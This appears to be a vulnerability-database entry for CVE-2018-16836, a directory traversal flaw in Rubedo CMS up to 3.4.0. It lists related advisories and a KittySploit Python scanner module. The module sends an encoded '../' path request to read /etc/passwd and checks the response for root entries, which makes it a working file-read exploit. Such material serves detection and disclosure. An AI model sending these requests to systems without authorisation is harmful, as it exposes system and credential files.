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Rubedo CMS <=3.4.0 - Directory Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Unauthenticated directory traversal in Rubedo CMS theme component allows reading arbitrary files.

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zdt
zdt
Rubedo CMS 3.4.0 - Directory Traversal Vulnerability
16 Sep 201800:00
–zdt
circl
Circl
CVE-2018-16836
16 Sep 201814:19
–circl
cnvd
CNVD
Rubedo Directory Traversal Vulnerability
20 Sep 201800:00
–cnvd
cve
CVE
CVE-2018-16836
11 Sep 201816:00
–cve
cvelist
Cvelist
CVE-2018-16836
11 Sep 201816:00
–cvelist
exploitdb
Exploit DB
Rubedo CMS 3.4.0 - Directory Traversal
12 Sep 201800:00
–exploitdb
exploitpack
exploitpack
Rubedo CMS 3.4.0 - Directory Traversal
12 Sep 201800:00
–exploitpack
mend
Mend
CVE-2018-16836
11 Sep 201816:00
–mend
nuclei
Nuclei
Rubedo CMS <=3.4.0 - Directory Traversal
17 Oct 202602:05
–nuclei
nvd
NVD
CVE-2018-16836
11 Sep 201816:29
–nvd
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Rubedo CMS through 3."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Rubedo CMS <=3.4.0 - Directory Traversal Detection',
        'description': 'Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'rubedo', 'lfi', 'edb', 'rubedo_project', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://www.exploit-db.com/exploits/45385',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-16836',
            'https://github.com/maroueneboubakri/CVE/tree/master/rubedo-cms',
            'https://www.exploit-db.com/exploits/45385/',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2018-16836',
    }

    def run(self):
        r = self.http_request(method="GET", path='/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='critical',
                reason="Rubedo CMS <=3.4.0 - Directory Traversal detected",
                path='/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd',
            )
            return True
        return False

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28 Jul 2026 11:27Current
8.7High risk
Vulners AI Score8.7
CVSS 27.5
CVSS 3.19.8
EPSS0.61437
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